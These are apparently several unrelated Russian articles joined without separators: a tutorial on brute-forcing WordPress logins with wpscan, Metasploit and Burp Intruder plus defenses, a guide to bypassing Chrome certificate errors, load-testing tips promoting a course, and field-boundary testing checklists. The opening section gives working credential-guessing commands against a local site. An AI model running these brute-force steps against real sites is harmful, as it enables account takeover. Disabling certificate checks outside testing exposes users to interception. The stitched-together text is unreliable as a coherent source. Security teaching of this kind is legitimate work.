WPscan это фреймворк, который используется в качестве сканера уязвимостей методом черного ящика. WPscan предустановлен в большинстве дистрибутивов Linux, ориентированных на безопасность, а также доступен в виде подключаемого модуля.

Здесь мы будем использовать WordPress, размещенный на локальном хосте.

Во время перебора можно использовать:

• Собственные общие списки логинов и паролей
• Базы логинов и паролей, которые уже есть в Kali Linux

В данном случая был использован файл паролей rockyou.txt, который предоставляется со стандартной Kali Linux и содержит 14 341 564 уникальных пароля.

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

• URL это параметр URL-адреса, за которым следует URL-адрес веб-сайта WordPress для сканирования.
• -U будет перебирать только указанные имена пользователей, в нашем случае это users.txt
• -P перебор паролей из предоставленного списка rockyou.txt

Продолжительность сканирования во многом зависит от размера файла имен и паролей. В нашем случае мы сопоставляем большое количество имен с еще большим количеством паролей, что может сказаться на производительности сайта.

Атака прошла успешно и на экране видим совпадение логина admin и пароля flower.

Metasploit

Metasploit также идет предустановленным в Kali Linux. Первым делом нужно попасть в консоль Metasploit, а затем запустить модуль WordPress. Этот модуль msf будет запускать проверку логинов и паролей. Сначала будут проверены имена пользователей, а затем с ними будут сопоставлены пароли.

msf > use auxiliary/scanner/http/wordpress_login_enummsf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100msf auxiliary(wordpress_login_enum) > set targeturi /wordpressmsf auxiliary(wordpress_login_enum) > set user_file user.txtmsf auxiliary(wordpress_login_enum) > set pass_file pass.txtmsf auxiliary(wordpress_login_enum) > exploit

Как и в предыдущем случае атака прошла успешно, в результате которой были полчены:

• Логин: admin
• Пароль: flower

Burp Suite

Можно опять использовать предустановленную в Kali версию или скачать Burp Suite Community Edition. Далее запускаем Burp Suite и открываем страницу входа в WordPress. Затем включаем вкладку перехвата в Burp Proxy. Далее вводим любое имя пользователя и пароль по вашему выбору для входа на сайт WordPress. Это перехватит ответ текущего запроса.

Посмотрите на изображение ниже и обратите внимание на последнюю строку перехваченного сообщения, где указаны учетные данные для входа как raj: raj, которые были использованы для входа в систему. Теперь нужно отправить эти данные в Intruder, что можно сделать с помощью сочетания клавиш ctrl + I или выбрав опцию Send to Intrude в контекстном меню.

Теперь открываем вкладку Intruder и видим запрос базового шаблона, который был сюда отправлен. Выбираем Positions, где по умолчанию активно несколько позиций, которые помечены символами . Все, что находится между двумя символами , заменяется полезной нагрузкой. Но сейчас все они нам не нужны, поэтому нажмите кнопку очистки в правом нижнем углу окна редактора.

Выбираем позиции, как показано на скриншоте, а также нажимаем кнопку add справа. Это настроит выбранные позиции как точки вставки полезной нагрузки. Теперь выбираем тип атаки.
Поскольку у нас есть 2 позиции полезной нагрузки, то выберем cluster bomb. Этот метод брутфорса очень эффективен в нашем случае. Он помещает первую полезную нагрузку в первую позицию, а вторую полезную нагрузку во вторую позицию. Но когда он проходит через наборы полезных данных, то пробует все комбинации. Например, когда есть 1000 логинов и 1000 паролей, тогда будет выполнено 1 000 000 запросов.

Теперь нажимаем кнопку start attack.

На вкладке payloads в раскрывающемся списке можно увидеть числа 1 и 2. Выберите 1 для первой позиции полезной нагрузки и установите для него простой список. В простой список можно вручную добавлять элементы с помощью кнопки add , а также вставлять список с помощью буфера обмена или загрузки из файла.

Аналогично ставим цифру 2 для другой позиции и выбираем для нее Runtime file, что полезно при работе с большими списками. Указываем путь к любому файлу-словарю, который содержит только список паролей. Нажимаем start attack.

Обратив внимание на статус и длину полезных данных, где видно, что учетные данные admin и flower имеют статус 302 и длину 1203, что отличается от всех других комбинаций. Это значит, что логин: admin и пароль flower именно то, что мы хотели получить.

Как избежать брутфорса?

Конечно, этих атак можно избежать, используя следующие меры предосторожности:

Длина пароля

Оптимальная длина пароля должна составлять 8-16 символов. Важно избегать использования наиболее распространенных паролей и часто их менять.

Сложность пароля

Надежный пароль должен состоять из:

• Символов верхнего регистра (A)
• Символов нижнего регистра (a)
• Цифр
• Специальных символов

Надежный пароль не гарантирует 100%, но по крайней мере позволяет значительно увеличить время взлома.

Ограничение попыток входа в систему

Ограничение попыток входа позволяет сильно усложнить процесс брутфорса.

Например, после трех неудачных попыток входа в систему данный IP-адрес должен быть заблокирован на какое-то время, чтобы пресечь дальнейшие попытки входа в систему.

Двухфакторная аутентификация

Следующий способ защиты от брутфорса двухфакторная аутентификация или 2FA. Обычно в качестве второго подтверждения используют телефон или почту.

Captcha

Установить капчу на WordPress довольно просто, например, с помощью многочисленных плагинов. Капча поможет предотвратить ботами выполнение автоматических скриптов для входа в вашу учетную запись.

Плагин брандмауэра WordPress

Даже неудачные брутфорс атаки могут замедлить работу сайта или полностью вывести сервер из строя. Вот почему так важно их заблокировать, для чего и понадобиться брандмауэр, который отфильтровывает плохой трафик и блокирует ему доступ к вашему сайту.

Подключить СDN сервис

CDN (Content Delivery Network) сеть доставки и дистрибуции контента, более подробно о которой можно узнать здесь. Для нас главное, что CDN обеспечивают надежную защиту от брутфорса.

Топ 6 CDN c бесплатными решениями для WordPress:

• Cloudflare
• Jetpack
• Swarmify
• Amazon CloudFront (1 год бесплатного доступа)
• Incapsula
• JS Deliver

Установить и настроить бэкап плагин

На крайний случай будет полезно установить и настроить бэкап плагин. По крайней мере в случае удачной атаки будет возможность восстановить данные. Есть несколько отличных плагинов для WordPress, которые позволяют делать резервные копии автоматически.

Отключение просмотра каталогов и автоматических обновлений

Еще один способ снизить риск брутфорс атаки для сайта на WordPress.

В этом кратком обзоре я хотел бы поделиться своим опытом, как отключить проверку SSL для тестовых сайтов, иначе говоря, как сделать HTTPS сайты доступными для тестирования на локальных машинах.

В современное время https протокол становится все популярней, у него масса плюсов и достоинств, что хорошо. Правда для разработчиков он может вызывать легкий дискомфорт в процессе тестирования.

Всем известно, что при посещении сайта у которого временно что-то случилось c сертификатом вы обнаружите предупреждение, которое показывается, если сертификат безопасности не является доверенным net::ERR_CERT_AUTHORITY_INVALID?

Привет онлайн-кинотеатрам

Все современные браузеры показывают сообщение об ошибке HSTS

Самый простой способ обхода данного запрета это, разумеется, нажатие на вкладку Дополнительные и согласиться с Небезопасным режимом.

Но не во всех браузерах как оказывается, есть данная возможность. Так я столкнулся с данной проблемой в Chrome на Mac OS

Разработчики данной операционной системы настолько обеспокоены безопасностью пользователей, что даже убрали доступ в Небезопасном режиме к сайту, несмотря на то, что это сайт владельца устройства.

Ну что ж, поскольку, вести разработку в других, более сговорчивых браузерах было не комфортно, вот способы как обойти эту проблему:

Все хромоподобные браузеры (Chrome, Opera, Edge ) могут открыть небезопасную веб страницу, если на английской раскладке клавиатуры набрать фразу:

thisisunsafe

прямо на данной веб странице. Это даст возможность работать с сайтом без оповещение об ошибке на момент текущей сессии браузера, пока вы не закроете вкладку Chrome.

Если же вам предстоит более длительная работа с сайтом, то рекомендую для этих нужд создать отдельного тестового пользователя на рабочем столе и указать ему необходимы флаги.

Для Windows

C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --ignore-certificate-errors

Для Mac OS

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --ignore-certificate-errors --ignore-urlfetcher-cert-requests &> /dev/null

Achtung! Данные манипуляции необходимо выполнять с выключенным Chrome приложением, иначе чуда не произойдет.

Если вы оставите сертификат ненадежным, то некоторые вещи не будут работать. Например, кэширование полностью игнорируется для ненадежных сертификатов.

Браузер напомнит, что вы находитесь в небезопасном режиме. По этому крайне не рекомендуется шастать по злачным сайтам Интернета с такими правами доступами.

*Так же есть метод с добавлением сертификатов тестируемого сайта в конфиги браузера Настройки->Безопасность->Настроить сертификаты->Импорт но мне он показался не продуктивным и очень муторным, поэтому не привожу

Надеюсь моя краткая статья кому-то пригодится при разработке и тестировании сайтов =)

И снова здравствуйте. В июле Otus запускает новый курс Нагрузочное тестирование. В преддверии старта курса традиционно делимся с вами полезным материалом.

---

Поскольку 5 миллиардов человек во всем мире самоизолируются, все больше и больше наших ежедневных взаимодействий происходят через интернет. Ритейлеры по всему миру переводят обслуживание своих клиентов из офисов в онлайн, школы и учебные заведения пытаются находить альтернативы в интернете, и даже общение в кругу семьи переносится на Zoom и Webex вместе с нашими рабочими встречами (с детьми и домашними животными на фоне).

В отличие от более устоявшихся пиков интернет-трафика, таких как Черная пятница или День святого Валентина, у интернет-сайтов попросту не было месяцев на подготовку своих сайтов ко всему этому интернет-трафику. Несмотря на отсутствие предсказательного фактора, тестирование производительности имеет решающее значение, если вы хотите, чтобы ваш бизнес работал в эти нестабильные времена.

Для тех из вас, кто ищет ответы на вопросы о том, как тестировать производительность вашего сайта, чтобы правильно подготовиться к предстоящим неделям, вот 8 советов, которые мы вынесли из работы с нашими клиентами по нагрузочному тестированию за последние 10 лет.

Лучшие советы для успешного тестирования производительности

1. Запускайте нагрузочные тесты из производственной среды

Это единственный способ гарантировать, что ваше тестирование является точным и что каждый пункт проверен правильно. Мы рекомендуем вам выбирать время, когда вы ожидаете низкий трафик, и моделировать нагрузки из нескольких географических местоположений и сред.

2. Масштабируйте свои тесты от маленького к большому и далее к огромному

Если вы очень спешите протестировать большой наплыв пользователей, вы можете случайно пропустить уровень нагрузки, на котором у вас в данный момент могут быть проблемы, потому что вы пропустили слишком много уровней одновременно. Разгоняйтесь понемногу, а затем наращивайте свои тесты все больше и больше. Перед каждым тестом останавливайтесь, чтобы отслеживать результаты, и убедитесь, что вы удовлетворены ими, прежде чем переходить на следующий уровень. В BlazeMeter мы начинаем с отладочного тестирования, которое выполняется как функциональный тест, просто чтобы убедиться, что тест выполняет то, что вы хотите чтобы он выполнял. Затем мы проводим калибровочные испытания. Эта калибровка проводится, чтобы убедиться, что тестовая платформа, на которой выполняется тестирование, на самом деле не является узким местом. Теперь мы можем перейти к гвоздю программы: тестированию производительности. Начните тестирование с 10% целевой нагрузки и постепенно увеличивайте до полной целевой нагрузки. Убедитесь, что разгон постепенный, чтобы вы могли контролировать симптомы.

Вы также можете запустить тестирование всплесков нагрузки, чтобы проверить, как ваша система реагирует на внезапный скачок числа пользователей и как она восстанавливается. Мы также рекомендуем довести вашу систему до предельной нагрузки, даже если она превышает целевое число пользователей, чтобы вы были осведомлены о реакции вашей системы.

Вот как может выглядеть узкое место. Число попаданий/с падает, а время отклика резко возрастает:

3. Запланируйте тесты

Также вы можете планировать, как выполнять ваши бизнес-цели. Вместе с вашей командой определите, какие тесты вам нужны. Вот типы тестов, которые вы можете запустить:

Нагрузочные тесты нагрузочные тесты предназначены для определения поведения системы при ожидаемой нагрузке.

Стресс-тесты стресс-тесты могут помочь вам понять пределы прочности системы.

Тестирование выносливости используются для проверки способности системы выдерживать постоянную ожидаемую нагрузку.

Тестирование всплесков нагрузки поможет вам проверить способность системы выдерживать резкие и быстрые нагрузки.

Изоляционный тест это повторный тест для проверки, была ли устранена известная системная ошибка или проблема, ранее обнаруженная в этом же тесте.

Возьмите свои бизнес-цели, а также свои знания о том, где ваш продукт работает лучше, а где не очень, и подберите для них подходящие тесты. Выполняя эти тесты, помните о следующих 2 целях:

• Найти критические места. Исследуйте свою систему, чтобы выяснить, в чем заключаются ее слабые стороны и почему. Настройте информационные панели мониторинга предупреждений для этих критических мест.
• Разделите свою систему и протестируйте каждый элемент по отдельности. Не все части вашей системы будут получать одинаковую нагрузку и характер трафика. Определите различные возможности и слабые места и примите активные меры.

4. Мониторинг внутренних результатов нагрузочного теста

Нагрузочное тестирование позволяет просматривать и анализировать KPI производительности, такие как время отклика и латентность, а также корреляции между ними. Но также важно просмотреть ключевые показатели эффективности, такие как Cache Hits и DB Queries, просмотреть лог ошибок на предмет исключений, а также просмотреть стандартные характеристики оборудования, такие как загрузка ЦП/памяти/сети и состояние автоматического масштабирования.

Различные решения расширяют возможности анализа результатов испытаний. DX APM, New Relic, App Dynamics и другие решения обеспечивают мониторинг производительности приложений и мониторинг конечных пользователей, а Amazon Cloud Watch отслеживает облачные ресурсы AWS.

5. Включите отслеживание производительности конечного пользователя в бэкэнд-тестирование

Автоматический или вручную анализируйте то, что испытывают ваши пользователи, благодаря уникальной функции BlazeMeter мониторингу опыта конечных пользователей. Новые возможности функционального тестирования выполняют тест Selenium в фоновом режиме, пока выполняется нагрузочный тест, через Taurus. Тест Selenium создает Waterfall Report, который показывает, что пользователь будет видеть в своем веб-браузере в разные моменты во время нагрузочного теста. Это может быть особенно полезно при отладке, например, из-за того, что определенная страница не была загружена должным образом с точки зрения пользователя в определенный момент нагрузочного теста.

6. Настройте резервные серверы и локации

Сбои могут случиться даже с Бейонсе (ну ладно, не с Бейонсе). Создавая резервные серверы и локации, вы можете быть уверены, что готовы продолжать предоставлять услуги в очень короткие сроки.

7. Проверьте ваши сторонние интеграции

Когда вы вносите изменения в свое приложение или сайт, вы не просто влияете на свой собственный продукт. Вы также можете влиять на сторонние сценарии в своем приложении или на сайте или же можете вызвать сбой сторонних устройств и серверов, если не подготовите их должным образом. Например, для разных CDN требуются разные подходы, а для балансировки нагрузки AWS (ELB) требуется прогрев перед балансировкой.

Несмотря на то, что это является частью того, что вы тестируете, мы рекомендуем вам заранее связаться с вашими партнерами и провести все необходимые приготовления. Это гарантирует, что нагрузочный тест будет учитывать их подготовку и полные возможности (вместо частичных возможностей, как это может случиться, если у них не будет возможности подготовиться). Это также экономит ваше время и усилия, так как вам не нужно решать распространенные проблемы на стороне, которые можно было бы легко исправить.

8. Внедрить мониторинг API

После того, как вы закончите тестирование, вам все равно захочется узнать, как ваш сайт ведет себя в дикой природе. Вы можете использовать возможности функционала BlazeMeter 360 Degree Monitoring для мониторинга ваших критически важных API-интерфейсов в производственной среде, чтобы убедиться, что ваш веб-сайт или приложение функционируют должным образом. Он будет служить системой предупреждения, чтобы вы знали, когда ваша система работает не так, как от нее ожидают.

---

Узнать подробнее о курсе.

---

Как обычно тестировщик ищет границы в поле? Если в ТЗ есть ограничения, то тестирует их. А если их нет? С нижней границей все понятно это пустое поле. А как найти верхнюю? Вставляем большую строку и смотрим, сколько символов сохранится. И всё

Но если у нас клиент-серверное приложение, то границы разработчик может поставить на каждом звене!



И тестировщик должен проверить их все. Почему? Потому что когда мы одно значение дублируем несколько раз в разных местах, велик шанс ошибиться. При этом границу на клиенте очень легко снять. Что будет, если пользователь обойдет границу на клиенте? Не сломает ли он нам сайт большой строкой?

В этой статье я расскажу, как искать границы для поля в веб-формочке. Возьмем для примера форму редактирования пользователя в бесплатной системе Users.

Содержание

• 1. Границы на клиенте
  
  • Maxlength
  • Ошибки в консоли JS
  • Изменение поведения
  • Итого по границе на клиенте
• 2. Границы на сервере
• 3. Границы в БД
• Итого: чек-лист поиска границ

1. Границы на клиенте

Maxlength

Ограничение по длине строки на клиенте прописывают в параметре maxlength поля.
Чтобы его найти, вам нужно:

1. Открыть панель разработчика нажать f12.
2. Нажать самую левую кнопку и навести курсор на элемент на странице.

Вуаля! Для поля имя1 у нас стоит ограничение в 10 символов.



См также:
Что тестировщику надо знать про панель разработчика

Проверяем ограничение пытаемся ввести больше 10 символов. Но вводится ровно 10, больше не дает. Печатаешь на клавиатуре, а система просто не реагирует:



Это граница! Граница на клиенте, мы ее нашли, ура :)

Но это не значит, что за сим надо успокоиться. Границы на клиенте снимаются очень легко, поэтому важно поставить проверку на сервере тоже. А нам, как тестировщикам проверить, есть ли защита на сервере.

Поэтому мы границу снимаем. Для этого прямо в DOM-модели (это структура нашей страницы, по которой мы искали инспектором) исправляем строчку с параметром. Да, оно меняется. Дважды кликаем на параметр maxlength и меняем значение. Вуаля! Теперь можно ввести намного больше символов, чем раньше!



Обратите внимание символы можно вводить сразу, без обновления страницы. Более того, если вы обновите страницу, то ваши изменения пропадут. Ведь при обновлении страницы HTML-код запрашивается с сервера, а там ваших изменений нет. Так что балуйтесь сколько хотите, не бойтесь что-то сломать =)

В принципе для проверки границы на сервере можно сначала поменять значение с 10 на 1000. Но если вы хотите поискать именно технологическую границу, то лучше выбрать значение побольше. Или вовсе удалить параметр. Выделить и удалить!



Найдя элемент в инспекторе, вы можете увидеть и другие цифры, кроме maxlength. Например, data-max или data-jsmax, или какие-то еще. Можно ли считать их границами? Только если вы умеете читать код и найдете в нем их значение.

Разработчик может написать HTML так, как ему нравится. Он может указать любые атрибуты для тега, с любыми названиями. Совершенно не факт, что это будет какая-то граница.

Это может быть легаси-элемент, то есть он вообще никак не обрабатывается и не используется. Просто забыли удалить. Или он может использоваться для CSS если у нас такое-то значение, то пишем белым цветом, если сякое, то черным.

А вот maxlength стандартный атрибут. И если он установлен, то он ограничивает пользователя пользователь не может ввести в input-поле больше символов, чем указано в maxlength. Поэтому это граница.

А всё остальное надо проверять, ограничивает нас как-то, или нет. Как проверять? Включить консоль!

Ошибки в консоли JS

При тестировании веба нужно обязательно включить консоль:

F12 Консоль

И следить за ней краем глаза. А иначе можно пропустить ошибку!

Бывает, что система никак не проявляет проблему в самом интерфейсе ничего не меняется. Вводим данные в поля? Ничего красным не подсвечивается, но в консоли появляется ошибка. Тыкаем на кнопку? Загружается отчет, вроде всё нормально, но в консоли ошибка.

Если в консоли появляется ошибка это ненормально. И с этим надо разобраться. Ошибка может нести в себе отложенный эффект, а может, вы просто не заметили ее проявление. Например, при загрузке отчета одна ячейка посчиталась неправильно, потому что не смогла подгрузить данные, о чем и написала в консоль. При этом отчет загрузился и вроде как данные внутри есть, выглядит нормально. Но ошибка есть.

Итак, открываем консоль и начинаем заполнять поля пользователя. Вот, например, вбиваем данные в поле хомячок. Сняли границу на клиенте (maxlength) и печатаем. И тут замечаем, что в консоли появилась ошибка!



Оказывается, разработчик поставил дополнительную защиту на поле. Помимо maxlength прописал ограничение в коде. Возможно, это сообщение должно было выводиться в интерфейсе, чтобы пользователь видел, что что-то делает не так, но разработчик напутал и выводит в консоль.

В случае с Users разработчик ничего не путал, у него по ТЗ стояло выводить такое сообщение в консоль =)) Потому что наша задача была просто показать ситуацию, когда в интерфейсе все хорошо, а в консоли есть ошибки.

Но где граница? Судя по сообщению об ошибке Maximum 10. Значит, граница 10 символов. Да? Ни фига! Граница это когда у нас до нее поведение системы одно (ошибок нет), а после другое.



Помните, что сообщения об ошибках это тоже код. Который тоже надо тестировать. Разработчик может ошибиться и написать сообщение неправильно. Поэтому давайте проверим, где реакция системы на ввод изменится.

Начинаем вводить символы медленно, следя за консолью:

• 10 нет ошибки
• 11 нет ошибки
• 12 ошибочка!

Ага, значит, граница по JS у нас не 10, а 11 символов! До 11 все хорошо, а после сыпятся ошибки. А сообщение об ошибке, как оказалось, врет. Так что доверяй, но проверяй =)

Это тоже граница на клиенте. Таким образом, у поля хомячок есть две границы на клиенте:

1. maxlength = 10 символов
2. js = 11 символов

А вот в поле имя 1 одна граница на клиенте: maxlength = 10 символов. Ошибок в консоли при вводе символов там нет.

Изменение поведения

Хочется еще раз подчеркнуть, что граница это не только когда в консоли ошибки сыпятся. Это может быть и видимое пользователю изменение поведения системы.

Например, аналитик решил, что имя должно быть не короче 3 букв. Поэтому, когда пользователь ставит курсор на поле с именем, вокруг него появляется красная рамка и снизу подпись Имя не должно быть короче 3 букв. Ввел 1-2 буквы ничего не изменилось. Ввел 3 рамка с подписью исчезли. Или рамка поменяла цвет с красной на зеленую.


В Users таких границ нет, поэтому я просто взяла картинку из интернета =)

Это нижняя граница, установленная по ТЗ. И сделанная на клиенте. Аналогично можно оформить и верхнюю границу ввел больше 10 символов? Вокруг поля появляется красная рамочка. Значит, это тоже граница.

Итого по границе на клиенте

Граница на клиенте это значение атрибута maxlength в поле ввода символов. Больше этого значения ввести нельзя, система просто не даст этого сделать.


Это ограничение легко снять через панель разработчика Как снять maxlength со всех полей формы.

Это может быть не единственной границей. Границу разработчик может также прописать в код. Чтобы ее найти, следим за системой. Если она меняет своё поведение мы нашли границу:

• Вводишь символы и у поля появляется красная рамка и подпись слишком большая длина граница! Помимо maxlength разработчик добавил проверку
• Вводишь символы и появляются ошибки в консоли тоже граница!

2. Граница на сервере

Граница на сервере это сколько символов мы можем сохранить в системе. По идее, она должна совпадать с границей на клиенте =) Но всякое бывает. Когда нам надо одно значение прописать в разных местах, всегда есть шанс ошибиться.

Так как границу на клиенте легко обойти, нам во время тестирования обязательно нужно это сделать. И посмотреть, есть ли границы на сервере. И если да, то какие.

Давайте снимем в Users ограничение maxlength = 10 с поля имя1, введем туда длинную строку и попробуем сохранить. При сохранении система выдает ошибку:



Вот это граница на сервере. Клиент передал серверу запрос, тот его отработал и вернул фидбек.

Осталось понять, где граница то. Конечно, в этом нам помогает сообщение об ошибке: actual: 37, maximum: 9. По идее, на сервере стоит ограничение в 9 символов. Но мы то с вами уже знаем, что это надо проверить!

Проверяем:

• Вводим 9 символов, сохраняем сохранилось!
• Вводим 10 символов сохранилось.
• Вводим 11 символов при сохранении ошибка.

Значит, реально граница 10 символов на сервере. Совпадает с границей на клиенте, это хорошо.

А теперь давайте проверим поле хомячок.



Ага, тут граница другая. В сообщении 19, но мы помним, что оно врет. Проверяем граница 20 символов. А на клиенте то 10 было, в maxlength! Значит, границы отличаются.

В целом, это повод поставить баг, потому что границы должны совпадать. Правда, его могут закрыть как won`t fix, ну сохранил чуть больше, и ладно. Намного хуже, когда разработчик ошибается в другую сторону:

• Сервер 10 символов
• Клиент 20 символов

В итоге на клиенте ввести 20 символов можно, а при сохранении огребаем ошибку. Нехорошо!

После проверки верхней границы в адекватных пределах стоит поискать технологическую границу. Сняли ограничение на клиенте, ввели несколько миллионов символов. Это очень легко сделать. Берем любой инструмент из статьи Как сгенерить большую строку, инструменты, подставляем, сохраняем.

Если система выдала ровно такую же ошибку, как и раньше, то ок. Значит, технологической границы нет. Ну и славненько. Главное, что мы попытались поискать =)

Зачем это нужно делать? Потому что система может не просто сохранять данные, а как-то их предварительно обрабатывать. Проверять по условию, или как-то еще. И тогда небольшую строку система осилит, а огромную уже нет.

См также:
Технологическая граница в подсказках по ЮЛ если ввести 1000 символов, ничего не случится, а вот если войну и мир

3. Граница в БД

Граница в БД это сколько символов влезет в базу. Создавая базу, мы указываем размерность каждого поля. Вот пример из folks:

• surname VARCHAR(255)
• name VARCHAR(100)
• city VARCHAR(20)

Это значит, что в поле фамилия мы можем сохранить 255 символов, в имя 100, а в город 20. При попытке запихать туда строку большего размера система выдаст ошибку из серии ORA-06502: PL/SQL: numeric or value error: character string buffer too small.

Важно понимать, что мы увидим границу БД только в том случае, если нет границы на сервере. Путь поиска границы не меняется:

1. Сняли границу на клиенте
2. Запихали большую строку
3. Пытаемся сохранить

Так вот, если разработчик поставил границу на сервере, то мы увидим обработанную ошибку красиво (или не очень) отрисованную, с вполне осмысленным текстом. Потому что его писал разработчик и он про наше приложение.



А если границы на сервере нет, то мы увидим необработанную ошибку. Это может быть ошибка вида ORA-06502:.., или стректрейс кода куча непонятных простому пользователю символов.



Конечно, может быть и другая ситуация когда на сервере граница больше, чем в БД:

• Сервер 20 символов
• БД 10 символов

И тогда получается забавная ситуация. Да, от вставки войны и мир мы защитились. Вводишь 25 символов или 25 млн символов получаешь осмысленную ошибку. А вот если вводишь 11 символов, то ой! Большой и страшный стектрейс во весь экран.

Поэтому при тестировании черного ящика не стремитесь сразу фигачить МНОГО символов. Для начала попробуйте осмысленное значение. А если вы сняли ограничение на клиенте, стоит попробовать пограничное значение к нему. Было maxlength = 10? Попробуйте 11 символов. А потом уже 55, а потом уже 55 млн.

Итого: чек-лист поиска границ

В клиент-серверном приложении границы могут быть в каждом звене. И в идеале они должны совпадать. Но мы должны это проверить!



Границ может быть больше. На клиенте разработчик может навесить сразу несколько границ: и maxlength, и изменение поведения при пересечении некой черты (js-код).

Границ может быть меньше. Из серии да не будет пользователь глупости вводить, и в итоге на клиенте и сервере вообще без ограничений. Но размерность полей в БД остается.

Как искать границы:

1. Проверить, есть ли на поле maxlength это самая очевидная граница на клиенте.

2. Снять это ограничение.

3. Включить консоль JS (а куда же без нее?).

4. Начать вбивать символы, около 50-100 в каждое поле. Следить за:

• консолью не появились ли ошибки?
• поведением самой системы не изменилось ли поведение?

Если поведение системы меняется, или появляются ошибки в консоли это также граница на клиенте. Но другая, в js-коде.

5. Попробовать сохранить эти 50-100 символов. Так мы ищем границу на сервере и / или в базе.

Если система выдаст осмысленную ошибку вида Слишком длинное поле это ошибка на сервере. Если ошибка необработанная скорее всего, на сервере границы нет, и вы нашли границу в базе.

Найти точное значение границы можно с помощью метода бисекционного деления. Ну или с помощью логов / текста сообщения об ошибке.

6. Ввести 100 млн символов (инструменты) и попробовать их сохранить для поиска технологической границы.

В процессе статьи мы проверили по этому чек-листу в системе Users поля имя1 и хомячок. Результаты:

Поле имя1:

• maxlength 10 символов
• сервер 10 символов

Поле хомячок:

• maxlength 10 символов
• js 11 символов
• сервер 20 символов

Для имени все хорошо, границы совпадают. А вот при исследовании хомячка мы обнаружили сразу 2 проблемы разница границ клиент-сервер (10 и 20), а также ошибка в консоли. Можно ставить баги! =)

При тестировании встречаются как интересные задачки с замудреной логикой, так и простые, вроде проверки простой строки или числового поля. Для простых полей можно один раз написать чек-лист проверок, а потом переиспользовать, лишь немного меняя под своё поле.

Сегодня мы разберем чек-лист для числового поля. Сначала я напишу общий чек-лист, потом пройдемся по каждому пункту и разберемся, зачем он нужен, а в конце напишем чек-лист по этому шаблону.

Итак, у нас есть некое поле, куда нужно вводить число. Например, поле возраст при регистрации:



При этом на сайте нельзя регистрироваться до 18 лет, есть запрещённый контент.

Какие проверки тут можно провести:

1. Корректные значения
2. Некорректные значения (за пределами валидных диапазонов или нелогичные: 200 лет, 88 секунд...)
3. Граничные значения
4. Пограничные значения
5. Дробное число формат (через запятую и через точку)
6. Дробное число округление (с кучей знаков после запятой)
7. Ноль
8. Один
9. Пустое поле
10. Очень большое число (поиск технологической границы)
11. Отрицательное число
12. Нечисловые и не совсем числовые значения

Соединяем все вместе Пример: чек-лист для возраста.
Ну и куда же практики Попробуй сам!

Корректные значения

Представьте, что у вас буквально 5 минут на проверку функционала. И вы успеваете провести только первые несколько тестов из чек-листа. А чек-лист у вас:

• Пустое поле
• 0
• -1

В итоге эти проверки провели и считаете, что система работает нормально (ну ругается же!). А она всегда ругается, даже на корректное значение! Нехорошо Поэтому запоминаем правило:

ВСЕГДА сначала позитив, потом негатив!

См также:
Позитивное и негативное тестирование подробнее о том, с чего начинать

Для поля с возрастом какие у нас будут корректные значения? Все, что выше 18 лет:

• 18
• 25
• 38
• 45

Тут надо понимать, что мы выбираем какое-то ОДНО значение. Просто каждый раз разное, для избежания эффекта пестицида.

Также важно понимать, что у нас может быть не одно корректное значение. Это когда у нас есть несколько диапазонов, и разные условия на каждом.

Например, тот же возраст:

• если до 18 лет показать в магазине все товары, кроме сигарет и алкоголя
• если больше 18 лет показать вообще все товары

Тогда мы понимаем, что у нас есть уже два валидных диапазона. Значит, нам нужно взять значение из каждого. Например, 16 и 26.



Или если у нас идет расчет страховки в зависимости от стажа вождения:

• 0 1 год 1000 руб
• 1 3 года 800 руб
• 3-5 лет 600 руб
• 5-10 лет 500 руб
• 10+ лет 300 руб

Получается 5 интервалов. И нам надо взять по одному значению из каждого. Например: 0.5, 2, 4, 6, 15.



Каждый раз берем разные значения, но в этом пункте смысл один взять корректные значения из ТЗ.

Некорректные значения

Тут есть разные варианты. Что значит некорректное значение?

• за пределами валидных диапазонов
• корректное с точки зрения компьютера (число), но лишенное смысла (200 лет)

Вернемся к примеру с возрастом. Корректное значение старше 18 лет. Значит, мы должны задать вопрос:

А что будет, если мы возьмем значение из неправильного диапазона? Что, если мне меньше 18 лет? Ну, скажем, 10.



Потом внимательно смотрим на выбранный интервал:

Хммммм, но ведь возраст не может быть меньше 0. То есть у нас есть логическая граница, разделяющая два разных класса эквивалентности:

• Возможный физически, но невалидный по ТЗ (0 17 лет)
• Невозможный физически (0 и менее)

Так что надо взять значение из каждого диапазона. Тогда получается 10 и -5:



Думаем дальше:

Если у нас есть некая логическая граница снизу, должна быть и сверху. Какой максимально возможный возраст у регистрирующихся на нашем сайте? Скорее всего, это около 55-65 лет, потому что более старшее поколение не любит компьютеры. Но можно заложить и условные 100-110 лет долгожителей.

Получаем еще один интервал с неявной границей. Но в любом случае, значения 25 и 145 будут различаться одно реалистичное, а другое нет. Значит, стоит его тоже попробовать!



А дальше снова эффект пестицида. Один раз берем 145, а другой 6666666.

Тут мы можем столкнуться с тем, что в поле нельзя ввести больше 2-3 символов. Разработчик перестраховался от дурака. Это не повод опускать руки и отказываться от своей проверки. Потому что скорее всего разработчик просто установил maxlength на поле, а он легко обходится!

См также:
Как снять maxlength со всех полей формы несколько способов на заметку

Граничные значения

Граничные значения отделяют один интервал от другого. Их обязательно надо тестировать!!! Потому что именно на границах чаще всего встречаются баги. Почему? Да потому что попадают в оба диапазона, или не попадают ни в один.

В нашем примере в ТЗ есть условие регистрация только для лиц старше 18 лет. Это значит, что разработчик должен сделать в коде программы логику вида:

• ЕСЛИ x < 18 ТО регистрируем
• ЕСЛИ x >=18 ТО выдаем ошибку

Если разработчик забыл добавить значение 18 в один из диапазонов, это может и не привести к ошибке. Потому что в таких случаях обычно используется конструкция if else. И разработчик ставит последний else на всякий случай то есть если ВДРУГ вводимое значение не попало ни в одно из условий выше:

• if x > 18
• elseif x < 18
• else

А вот если разработчик добавил значение 18 сразу в несколько диапазонов:

• if x => 18
• elseif x <= 18

То программа растеряется, что же ей выбрать? И вполне может упасть!

В общем, на границах баги встречаются чаще, чем внутри интервала. Поэтому обязательно исследуйте их! В нашем ТЗ есть четкая граница больше 18 лет. Значит, тестируем число 18:



Если по ТЗ у нас есть несколько интервалов, проверяем каждую границу отдельно. Это произвольные границы которые накладывает ТЗ.

Но границы бывают разных типов:

• Произвольные
• Логические
• Технологические

Произвольные проверили? Едем дальше. Логические это все о, что подчиняется логике (в минуте 60 секунд, человеку не может быть минус один годик, и т.д.). Применим к нашему примеру.

Граница снизу:

